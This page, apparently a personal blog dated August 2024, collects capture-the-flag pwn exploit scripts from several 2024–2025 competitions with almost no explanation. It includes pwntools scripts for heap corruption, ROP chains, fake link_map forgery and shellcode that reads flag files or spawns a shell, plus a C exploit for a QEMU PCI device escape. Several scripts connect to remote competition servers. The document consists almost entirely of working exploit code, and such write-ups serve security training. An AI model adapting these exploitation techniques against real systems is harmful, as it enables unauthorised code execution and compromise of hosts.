2024年8月

NCTF 2024 - unauth-diary

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(p, '')
# io = connect('localhost', 9999)
io = connect('39.106.16.204', 46968)

def create(length: int, content: bytes):
    io.sendafter(b'> ', b'1\x00')
    io.sendafter(b'length:\n', itob(length) + b'\x00')
    io.sendafter(b'content:\n', content)

def erase(index: int):
    io.sendafter(b'> ', b'2\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')

def modify(index: int, content: bytes):
    io.sendafter(b'> ', b'3\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')
    io.sendafter(b'content:\n', content)

def show(index: int):
    io.sendafter(b'> ', b'4\x00')
    io.sendafter(b'index:\n', itob(index) + b'\x00')

def exitit():
    io.sendafter(b'> ', b'5\x00')

create(0x17, b'\n')
create(0x17, b'\n')
erase(0)
erase(1)
create(0x17, b'\n')
create(0x17, b'\n')
show(0)
io.recvuntil(b'Content:\n')
heap_a = u64(io.recv(8))
show(1)
io.recvuntil(b'Content:\n')
heap_b = u64(io.recv(8))
heap_base = (heap_a ^ heap_b) - 0x200
success(f'heap_base: 0x{heap_base:x}')

create(0x500, b'\n')
create(0x1, b'\n')
erase(2)
create(0x500, b'\n')
show(2)
io.recvuntil(b'Content:\n')
libc.address = u64(io.recv(8)) - 0x203b00
success(f'libc_base: 0x{libc.address:x}')
modify(2, asm(f"""
    mov rax, 0x67616c662f2e
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rdi, rax
    mov rax, __NR_read
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 4
    syscall
""") + b'\n')

create(-1, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
create(0x37, b'\n')
erase(5)
erase(6)
modify(4, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x41) + cyclic(56) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x41) + p64((libc.sym['environ'] - 0x28) ^ (heap_base >> 12)) + b'\n')

create(0x37, b'\n')
create(0x37, b'\n')
show(6)
io.recvuntil(b'Content:\n')
io.recv(40)
stack_addr = u64(io.recv(8))
success(f'stack_addr: 0x{stack_addr:x}')

create(-1, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
create(0x57, b'\n')
erase(9)
erase(10)
modify(8, cyclic(0x18) + p64(0x21) + p64(heap_base >> 12) + cyclic(16) + p64(0x61) + cyclic(88) + p64(0x21) + p64((heap_base >> 12) ^ (heap_base + 0x8d0)) + cyclic(16) + p64(0x61) + p64((stack_addr - 552) ^ (heap_base >> 12)) + b'\n')

create(0x57, b'\n')
create(0x57, flat([
    0,
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_base,
    libc.address + 0x000000000002b46b,
    0x1000,
    stack_addr - 496,
    libc.address + 0x00000000000981ad,
    7,
    libc.sym['mprotect'],
    heap_base + 0x340
]) + b'\n')

io.sendafter(b'> ', b'5\x00')

io.interactive()

# NCTF{126952df-8ac9-479d-a2dd-6a2d7affae00}

SECCON 2024 - BabyQEMU(复现)

#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

struct PCIBabyDevReg {
    off_t offset;
    uint32_t data;
};

#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)

static volatile char *baby_mmio = NULL;

static void set_offset(off_t offset) {
    *(volatile off_t *)&baby_mmio[MMIO_SET_OFFSET] = offset;
}

static void write_data32(off_t offset, uint32_t data) {
    set_offset(offset);
    *(volatile uint32_t *)&baby_mmio[MMIO_SET_DATA] = data;
}

static void write_data64(off_t offset, uint64_t data) {
    write_data32(offset, (uint32_t)(data & 0xffffffff));
    write_data32(offset + sizeof(uint32_t), (uint32_t)(data >> 32));
}

static uint32_t read_data32(off_t offset) {
    set_offset(offset);
    return *(volatile uint32_t *)&baby_mmio[MMIO_GET_DATA];
}

static uint64_t read_data64(off_t offset) {
    return ((uint64_t)read_data32(offset)) +
           (((uint64_t)read_data32(offset + sizeof(uint32_t))) << 32);
}

int main(void) {
    int fd;

    fd = open("/sys/bus/pci/devices/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (fd == -1) {
        perror("Failed to open resource file");
        return EXIT_FAILURE;
    }

    baby_mmio =
        (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (baby_mmio == MAP_FAILED) {
        perror("Failed to mmap MMIO region");
        close(fd);
        exit(EXIT_FAILURE);
    }

    uint64_t qemu_base = read_data64(0x170) - 8060784;
    printf("[*] qemu_base: 0x%lx\n", qemu_base);

    uint64_t buf_addr = read_data64(-8) - 5704;
    printf("[*] buf_addr: 0x%lx\n", buf_addr);

    uint64_t system_addr = read_data64(qemu_base + 26094904 - buf_addr);
    printf("[*] system_addr: 0x%lx\n", system_addr);

    write_data64(0x08, system_addr);
    write_data64(0x10, system_addr);
    write_data64(0x18, 0);
    write_data64(0x20, 0);
    write_data64(0x28, 2);
    write_data64(0x30, 0);
    write_data64(0x38, 0);
    write_data64(0x40, 0);
    write_data64(0x48, 0x400000001);
    write_data64(0x50, 0);

    write_data64(-3064, 'hs');
    write_data64(-200, buf_addr + 8);

    read_data64(0xdeadbeef); // PWN!

    munmap((void *)baby_mmio, 0x1000);
    close(fd);
    exit(EXIT_SUCCESS);
}

SUCTF 2025 - msg_cfgd

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
# context.log_level = 'debug'
binary = './ASU1'

e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def write_shellcode(io):
    shellcode = b'H1\xffH\x89\xee\x0f\x05\xff\xe6'
    io.sendlineafter(b': ', b'1')
    io.sendlineafter(b': ', b'100')
    io.sendafter(b': ', b'PwnRiK')
    io.sendafter(b': ', shellcode)

def to_attack(io):
    io.sendlineafter(b': ', b'8')
    io.sendlineafter(b':', b'7')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'U' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'I' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'O' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'P' * 7 + b'\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), b'H' * 8)
    io.sendafter('名称\n'.encode(), b'H' * 15)
    # io.sendafter('内容\n'.encode(), b'J' * 8 + b'\x00')
    io.sendafter('内容\n'.encode(), b'ff\x81\xc4\x06\x04\xff\xe4\x00')
    io.sendafter('名称\n'.encode(), b'H' * 15)
    io.sendafter('内容\n'.encode(), p64(0x400F56))

i = 1
while True:
    print(i)
    i += 1
    io = connect('1.95.76.73', 10000)
    # io = process(binary)
    write_shellcode(io)
    to_attack(io)
    try:
        io.recvuntil(b'opportunity')
    except Exception:
        io.close()
        continue
    break

context.log_level='debug'
# gdb.attach(io)
io.send(b'FEFEFEFEFEFE')
io.sendafter(b'?\n', p64(0x00000000004035cb))
shellcode = f"""
mov rax, 0x67616c662f
push rax

mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

mov rax, __NR_read
mov rdi, 3
mov rsi, rsp
mov rdx, 0x50
syscall

mov rax, __NR_write
mov rdi, 1
mov rsi, rsp
mov rdx, 0x50
syscall
"""
io.send(asm(shellcode))
io.interactive()

强网杯 2024 - baby_heap

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './pwn'

e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

#  0000: 0x20 0x00 0x00 0x00000004  A = arch
#  0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
#  0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
#  0005: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0009
#  0006: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0009
#  0007: 0x15 0x01 0x00 0x00000101  if (A == openat) goto 0009
#  0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0009: 0x06 0x00 0x00 0x00000000  return KILL

# size == 1280(0x500) || size >= 1536(0x600)
def add(size: int):
    p.sendlineafter(b'choice: \n', b'1')
    p.sendlineafter(b'size \n', itob(size))

def delete(index: int):
    p.sendlineafter(b'choice: \n', b'2')
    p.sendlineafter(b'delete: \n', itob(index))

# 1 time
def edit(index: int, content: bytes):
    p.sendlineafter(b'choice: \n', b'3')
    p.sendlineafter(b'edit: \n', itob(index))
    p.sendafter(b'content \n', content)

# 1 time
def show(index: int):
    p.sendlineafter(b'choice: \n', b'4')
    p.sendlineafter(b'show: \n', itob(index))
    p.recvuntil(b'here \n')

def exp():
    add(0x618)
    add(0x1000)
    add(0x628)
    add(0x600)
    delete(3)
    add(0x638)
    delete(1)
    # pause()
    show(3)
    main_arena = u64(p.recvn(8))
    p.recvn(8)
    heap_addr = u64(p.recvn(8))
    heap_base = heap_addr - 0x2580 - 0xa00
    libc.address = main_arena - 2208080
    success(f'libc_base: 0x{libc.address:x}')
    success(f'heap_base: 0x{heap_base:x}')
    fake_linkmap_addr = heap_base + 8064

    shellcode = f"""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat2 ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    mov rdx, {heap_base + 0x4000}
    push 0x18 ; pop r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
    """

    class link_map():
        DT_PLTGOT = 3
        DT_STRTAB = 5
        DT_SYMTAB = 6
        DT_FINI = 13
        DT_DEBUG = 21
        DT_JMPREL = 23
        DT_FINI_ARRAY = 26
        DT_FINI_ARRAYSZ = 28
        DT_VERNUM = 50

        def __init__(self, address: int = 0) -> None:
            self.address: int = address
        
        def l_addr(self):
            return self.address
        
        def l_info(self, tag):
            return self.address + 0x40 + 8 * tag
        
        def l_init_called(self):
            return self.address + 0x31c
        
    l = link_map(fake_linkmap_addr)
    rop = cyclic(14 * 8) + flat([
        libc.address + 0x5a120, # mov rsp, rdx; ret
        libc.address + 0x5a120 + 3, # ret

        libc.address + 0x2a3e5, # pop rdi; ret
        heap_base + 0x2000,
        libc.address + 0x2be51, # pop rsi; ret
        0x1000,
        libc.address + 0x11f2e7, # pop rdx; pop r12; ret
        7,
        0,
        libc.sym['mprotect'],
        heap_base + 9792
    ])

    l_next_offset = 0x600

    fake_linkmap = (flat({
        0x0: 0, # l_addr
        0x18: l.address + l_next_offset, # l_next
        0x28: l.address, # l_real
        #-------------------------- l_info --------------------------#
        0x40 + l.DT_FINI_ARRAY * 8: l.address + 0x40,
        0x40 + l.DT_FINI_ARRAYSZ * 8: l.address + 0x50,
        #-------------------------- Elf64_Dyn --------------------------#
        0x40: l.DT_FINI_ARRAY,
        0x48: l.address + 0x500,
        0x50: l.DT_FINI_ARRAYSZ,
        0x58: 0x10 * 8,
        0x31c: 0xff
    }, filler=b'\x00').ljust(0x500, b'\x00') + rop).ljust(l_next_offset, b'\x00')

    for i in range(4):
        fake_linkmap += flat({
            0x18: (l.address + l_next_offset + 0x30 * (i + 1)) if i != 3 else 0,
            0x28: l.address + l_next_offset + 0x30 * i
        }, filler=b'\x00')

    fake_linkmap += asm(shellcode)
    # print(hex(len(fake_linkmap)))
    edit(2, fake_linkmap)
    # p.interactive()
    p.sendlineafter(b'choice: \n', b'0')
    success('Data sent.')
    # p.interactive()
    # ld_libc_offset = int(input())
    ld_libc_offset = 0x254000
    p.sendafter(b'addr \n', p64(libc.address + ld_libc_offset + 0x3a040))
    p.send(p64(fake_linkmap_addr))
    p.sendlineafter(b'choice: \n', b'3')
    success('Done.')
    print(p.recvuntil(b'{'))
    p.interactive()

i = 0

while True:
    # p = connect('123.56.221.254', 34923)
    p = process(binary)
    # gdb.attach(p, 'set follow-fork-mode parent\nb _dl_fini\nb _dl_sort_maps')
    print(i)
    i += 1
    try:
        exp()
    except Exception:
        p.close()
        continue
    p.interactive()

强网杯 2024 决赛 - qvm

from pwn import *

context.terminal = ['konsole', '-e']

libc = ELF('./libc.so.6')
io = process('./pwn')
# io = connect('121.42.242.203', 9999)
gdb.attach(io)

LIBC_OFFSET = 0xf4300 - 1

def exp():
    shellcode = '''
    data binsh "/bin/sh"
    _start:
    cil {} 0
    mov {} 1
    sub 0 1
    mov 1 {}
    ods binsh
    EOF
    '''.format(
        0x19d7e0 - libc.symbols['system'],
        LIBC_OFFSET + 0x21a098 // 0x10,
        LIBC_OFFSET + 0x21a098 // 0x10,
    ).strip().encode()

    io.sendline(shellcode)

io.sendline("""
_start:
cil 10086 0
push 0
pop 0
pop 0
EOF
""")

io.interactive()

SCTF 2024 - factory

from pwn import *
from ctypes import *

context(os="linux", arch="amd64", terminal=["konsole", "-e"], log_level="debug")

binary = "./factory"
# p = process(binary)
p = remote('1.95.81.93', 57777)
e = ELF(binary)
libc = ELF('./libc.so.6')

# gdb.attach(p, "b *0x40148E")
# pause()

fake_rbp = 0x4040B0
pop_rdi = e.search(asm('pop rdi; ret;')).__next__()
leave = e.search(asm('leave; ret;')).__next__()
one_gadget = 0xe3b01


def sa(num, after):
    p.sendlineafter(after, str(num).encode())


sa(40, b':')
for i in range(22):
    sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(pop_rdi, '= ')
sa(e.got['puts'], '= ')
sa(e.plt['puts'], '= ')
sa(e.sym['main'], '= ')
for i in range(7):
    sa(0, '= ')
p.recvuntil(b'\n')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {hex(libc_base)}')

sa(40, b':')
for i in range(22):
    sa(0, '= ')
sa(27, '= ')
sa(fake_rbp, '= ')
sa(one_gadget + libc_base, '= ')
for i in range(10):
    sa(0, '= ')


p.interactive()

网鼎杯 2024 - pwn004

#!/usr/bin/python

from pwn import *
from ctypes import *

def rc4_init(key: bytes, box_size: int = 256) -> list[int]:
    if type(key) == str:
        key = key.encode()
    s = list(range(box_size))
    j = 0
    key_length = len(key)

    # Key scheduling algorithm (KSA)
    for i in range(box_size):
        # permit key is empty.
        j = (j + s[i] + 0 if key_length == 0 else j + s[i] + key[i % key_length]) % box_size
        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

    return s

def rc4_crypt(s: bytes, data: bytes, box_size: int = 256) -> bytes:
    i, j = 0, 0
    result = bytearray()

    # Pseudo-random generation algorithm (PRGA)
    for k in range(len(data)):
        i = (i + 1) %  box_size
        j = (j + s[i]) % box_size

        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

        t = (s[i] + s[j]) % box_size
        result.append(data[k] ^ s[t])

    return bytes(result)

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './pwn'

p = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6')

gdb.attach(p, "set follow-fork-mode parent")

i = 1
# while True:
#     p.sendlineafter(b':\n', b'\x00' + cyclic(i))
#     if b'correct' in p.recvuntil(b'!'):
#         break
#     pause()
#     i += 1
p.sendafter(b':\n', b'\n')
p.sendafter(b':\n', b'\n')


def add(index: int, size: int, content: bytes = b''):
    p.sendlineafter(b'> \n', b'1')
    p.sendlineafter(b': \n', str(index).encode())
    p.sendlineafter(b': \n', str(size).encode())
    p.sendlineafter(b': \n', content)

def show(index: int) -> bytes:
    p.sendlineafter(b'> \n', b'2')
    p.sendlineafter(b': \n', str(index).encode())
    p.recvuntil(b',')
    p.recvuntil(b',')
    content = p.recvuntil(b']', drop=True)
    s = rc4_init(b's4cur1ty_p4ssw0rd')
    return rc4_crypt(s, content)

def delete(index: int):
    p.sendlineafter(b'> \n', b'3')
    p.sendlineafter(b': \n', str(index).encode())

def edit(index: int, content: bytes):
    p.sendlineafter(b'> \n', b'4')
    p.sendlineafter(b': \n', str(index).encode())
    p.sendlineafter(b': \n', content)

add(0, 0x40)
delete(0)
delete(0)
heap_base = (((u64(show(0)[0:8]) >> 12) - 1) << 12)
success(hex(heap_base))
delete(0)
add(1, 0x80)
add(1, 0x300)
add(2, 0x300)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
libc.address = u64(show(1)[0:8]) - 4111520
success(hex(libc.address))

s = rc4_init(b's4cur1ty_p4ssw0rd')
edit(0, rc4_crypt(s, p64(libc.address + 4118760).ljust(0x30, b'\x00')))
add(2, 0x40)
s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x40, rc4_crypt(s, p64(libc.address + 336005).ljust(0x30, b'\x00')))

s = rc4_init(b's4cur1ty_p4ssw0rd')
add(2, 0x200, rc4_crypt(s, cyclic(0x200))) # 假栈底在这个堆块
add(1, 0x200, cyclic(0xa0) + p64(heap_base + 5744) + p64(libc.search(asm('ret')).__next__()))
delete(1)

p.interactive()

RCTF 2024 - mine

from pwn import*
context.log_level = 'debug'

io = remote('123.60.161.30', 10088)
# io = process('./run.sh')

io.sendline(b'A'*0x10)
io.sendline(b'0 0 U')
io.sendline(b'1\n1\n1')

for i in range(16*15):
    io.recvuntil(b']:')
    io.sendline(b'y a')
io.recvuntil(b']:')
io.sendline(b'y \xb0')
io.recvuntil(b']:')
io.sendline(b'y \x14')
io.recvuntil(b']:')
io.sendline(b'y \x01')
io.recvuntil(b']:')
io.sendline(b'y \x00')
for i in range(4):
    io.recvuntil(b']:')
    io.sendline(b'y b')
for i in range(8):
    io.recvuntil(b']:')
    io.sendline(b'y B')

io.interactive()

羊城杯 2024 - pstack

from pwn import *
from pwnlib.util.proc import wait_for_debugger

context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug')

binary = './pwn'
p = connect('139.155.126.78', 33760)
libc = ELF('./libc.so.6')

# gdb.attach(p)
# pause()

puts_addr = 0x400520
puts_got_addr = 0x600FC8
vuln_addr = 0x4006B0
pop_rdi = 0x400773
leave = 0x4006db
fake_stack = 0x3FE2C0
pop_rbp = 0x4005b0
fake_stack2 = 0x3fe300

p.sendafter(b'?\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4))
p.sendafter(b'?\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vuln_addr + 4) + p64(0) + p64(fake_stack) + p64(leave))

puts = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base_addr = puts - libc.sym['puts']
print(hex(libc_base_addr))

bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__()
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__()
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__()
execve = libc_base_addr + libc.symbols['execve']
pop_r12_r13 = libc_base_addr + 0x41c48
one_gadget = libc_base_addr + 0xebce2

# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp

p.sendafter(b'?\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadget) + p64(execve) + p64(fake_stack2) + p64(leave))

p.interactive()